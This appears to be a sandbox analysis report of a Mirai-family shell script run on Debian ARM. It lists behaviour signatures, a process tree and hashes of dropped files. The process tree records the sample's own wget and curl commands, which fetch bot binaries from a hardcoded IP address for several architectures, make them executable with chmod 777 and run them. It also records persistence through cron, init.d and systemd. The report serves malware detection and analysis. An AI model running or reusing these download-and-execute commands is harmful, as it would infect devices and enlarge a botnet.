Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    13/09/2026, 18:53

General

  • Target
    39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh
  • Size 3KB
  • Sample260913-xjp4essbmf
  • SHA256 39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 9 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Reads process memory 1 TTPs 48 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Enumerates kernel/hardware configuration 1 TTPs 5 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 30 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh
    /tmp/39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh
    1⤵
    • Executes dropped EXE
    PID:648
    • /usr/bin/wget
      wget http://160.119.66.206/bins/net.x86_64 -O net_bot
      2⤵
      • Writes file to tmp directory
      PID:651
    • /bin/chmod
      chmod 777 net_bot
      2⤵
      • File and Directory Permissions Modification
      PID:671
    • /tmp/net_bot
      ./net_bot net.x86_64
      2⤵
        PID:673
      • /usr/bin/curl
        curl -L http://160.119.66.206/bins/net.x86_64 -o net_bot
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:675
      • /bin/chmod
        chmod 777 net_bot
        2⤵
        • File and Directory Permissions Modification
        PID:681
      • /tmp/net_bot
        ./net_bot net.x86_64
        2⤵
          PID:682
        • /usr/bin/wget
          wget http://160.119.66.206/bins/net.x86 -O net_bot
          2⤵
          • Writes file to tmp directory
          PID:684
        • /bin/chmod
          chmod 777 net_bot
          2⤵
          • File and Directory Permissions Modification
          PID:685
        • /tmp/net_bot
          ./net_bot net.x86
          2⤵
            PID:686
          • /usr/bin/curl
            curl -L http://160.119.66.206/bins/net.x86 -o net_bot
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:688
          • /bin/chmod
            chmod 777 net_bot
            2⤵
            • File and Directory Permissions Modification
            PID:689
          • /tmp/net_bot
            ./net_bot net.x86
            2⤵
              PID:690
            • /usr/bin/wget
              wget http://160.119.66.206/bins/net.mips -O net_bot
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:692
            • /bin/chmod
              chmod 777 net_bot
              2⤵
              • File and Directory Permissions Modification
              PID:693
            • /tmp/net_bot
              ./net_bot net.mips
              2⤵
              • System Network Configuration Discovery
              PID:694
            • /usr/bin/curl
              curl -L http://160.119.66.206/bins/net.mips -o net_bot
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:696
            • /bin/chmod
              chmod 777 net_bot
              2⤵
              • File and Directory Permissions Modification
              PID:703
            • /tmp/net_bot
              ./net_bot net.mips
              2⤵
              • System Network Configuration Discovery
              PID:704
            • /usr/bin/wget
              wget http://160.119.66.206/bins/net.mpsl -O net_bot
              2⤵
              • Writes file to tmp directory
              PID:707
            • /bin/chmod
              chmod 777 net_bot
              2⤵
              • File and Directory Permissions Modification
              PID:716
            • /tmp/net_bot
              ./net_bot net.mpsl
              2⤵
                PID:718
              • /usr/bin/curl
                curl -L http://160.119.66.206/bins/net.mpsl -o net_bot
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:720
              • /bin/chmod
                chmod 777 net_bot
                2⤵
                • File and Directory Permissions Modification
                PID:732
              • /tmp/net_bot
                ./net_bot net.mpsl
                2⤵
                  PID:734
                • /usr/bin/wget
                  wget http://160.119.66.206/bins/net.arm -O net_bot
                  2⤵
                  • Writes file to tmp directory
                  PID:736
                • /bin/chmod
                  chmod 777 net_bot
                  2⤵
                  • File and Directory Permissions Modification
                  PID:748
                • /tmp/net_bot
                  ./net_bot net.arm
                  2⤵
                  • Deletes itself
                  • Modifies Watchdog functionality
                  • Creates/modifies Cron job
                  • Modifies init.d
                  • Modifies systemd
                  • Reads process memory
                  • Changes its process name
                  • Reads runtime system information
                  PID:750
                  • /bin/sh
                    sh -c "chmod +x /var/tmp/.sys_recovery.sh"
                    3⤵
                    • File and Directory Permissions Modification
                    PID:756
                    • /bin/chmod
                      chmod +x /var/tmp/.sys_recovery.sh
                      4⤵
                      • File and Directory Permissions Modification
                      PID:758
                  • /bin/sh
                    sh -c "systemctl disable .networkd.service 2>/dev/null"
                    3⤵
                      PID:760
                      • /bin/systemctl
                        systemctl disable .networkd.service
                        4⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:761
                    • /bin/sh
                      sh -c "update-rc.d sys_daemon defaults 2>/dev/null"
                      3⤵
                        PID:763
                        • /usr/sbin/update-rc.d
                          update-rc.d sys_daemon defaults
                          4⤵
                            PID:764
                            • /usr/local/sbin/systemctl
                              systemctl daemon-reload
                              5⤵
                                PID:766
                              • /usr/local/bin/systemctl
                                systemctl daemon-reload
                                5⤵
                                  PID:766
                                • /usr/sbin/systemctl
                                  systemctl daemon-reload
                                  5⤵
                                    PID:766
                                  • /usr/bin/systemctl
                                    systemctl daemon-reload
                                    5⤵
                                      PID:766
                                    • /sbin/systemctl
                                      systemctl daemon-reload
                                      5⤵
                                        PID:766
                                      • /bin/systemctl
                                        systemctl daemon-reload
                                        5⤵
                                        • Enumerates kernel/hardware configuration
                                        • Reads runtime system information
                                        PID:766
                                  • /bin/sh
                                    sh -c "chkconfig --add sys_daemon 2>/dev/null"
                                    3⤵
                                      PID:779
                                    • /bin/sh
                                      sh -c "systemctl daemon-reload 2>/dev/null"
                                      3⤵
                                        PID:780
                                        • /bin/systemctl
                                          systemctl daemon-reload
                                          4⤵
                                          • Enumerates kernel/hardware configuration
                                          • Reads runtime system information
                                          PID:781
                                      • /bin/sh
                                        sh -c "systemctl enable netd.service 2>/dev/null"
                                        3⤵
                                          PID:803
                                          • /bin/systemctl
                                            systemctl enable netd.service
                                            4⤵
                                            • Enumerates kernel/hardware configuration
                                            • Reads runtime system information
                                            PID:805
                                        • /bin/sh
                                          sh -c "systemctl start netd.service 2>/dev/null"
                                          3⤵
                                            PID:838
                                            • /bin/systemctl
                                              systemctl start netd.service
                                              4⤵
                                              • Enumerates kernel/hardware configuration
                                              • Reads runtime system information
                                              PID:839

                                      Network

                                            MITRE ATT&CK Enterprise v16

                                            Replay Monitor

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                                            Downloads

                                            netupd

                                            • Path /etc/cron.d/netupd
                                            • Size 49B
                                            • SHA256 6f50f3c70491721be9a36ce4fd3cfcac66dba6fe7b3af969b9aae67b71bc2435
                                            • MD5 SHA1 SHA512

                                            sys_daemon

                                            • Path /etc/init.d/sys_daemon
                                            • Size 282B
                                            • SHA256 c277627bfbdac903b0229ad7417771294a3135aa01cc6300cd7b0df09f54cc97
                                            • MD5 SHA1 SHA512 TLSH

                                            netd.service

                                            • Path /etc/systemd/system/netd.service
                                            • Size 241B
                                            • SHA256 cee909cdcda744de562e43a98c9d5d6ef26f2ebe194bee98696043274de026a8
                                            • MD5 SHA1 SHA512 TLSH

                                            net_bot

                                            • Path /tmp/net_bot
                                            • Size 186KB
                                            • SHA256 cd6ccc5dabe85309a938e43c9508998bb0f52a9264fa9ba9276956f7fa42f48d
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            net_bot

                                            • Path /tmp/net_bot
                                            • Size 142KB
                                            • SHA256 2136980fc01c33fcd1f5cf0541ebfce02093eec928921654dc35c17d69205946
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            net_bot

                                            • Path /tmp/net_bot
                                            • Size 242KB
                                            • SHA256 683a3f7c5992c013d4cd71eeaf2d0d3b5a781261fa19a30e4d073ddf712c5ea4
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            net_bot

                                            • Path /tmp/net_bot
                                            • Size 246KB
                                            • SHA256 9aac7aafe5d6257d6ce1b9442e9bd4c436293847260d789a2287076cb1f9ce12
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            .XJIsMRd6

                                            • Path /var/tmp/.XJIsMRd6
                                            • Size 186KB
                                            • SHA256 cc049286a66056a4a80331b3c08494f8c7c73b4cc6e26328d3e6fb31deef729f
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            .sys_recovery.sh

                                            • Path /var/tmp/.sys_recovery.sh
                                            • Size 142B
                                            • SHA256 7e32b5241e22eb0de96b517949e71dbe5a9fceb77bb970a125f00e3bacff00b1
                                            • MD5 SHA1 SHA512 TLSH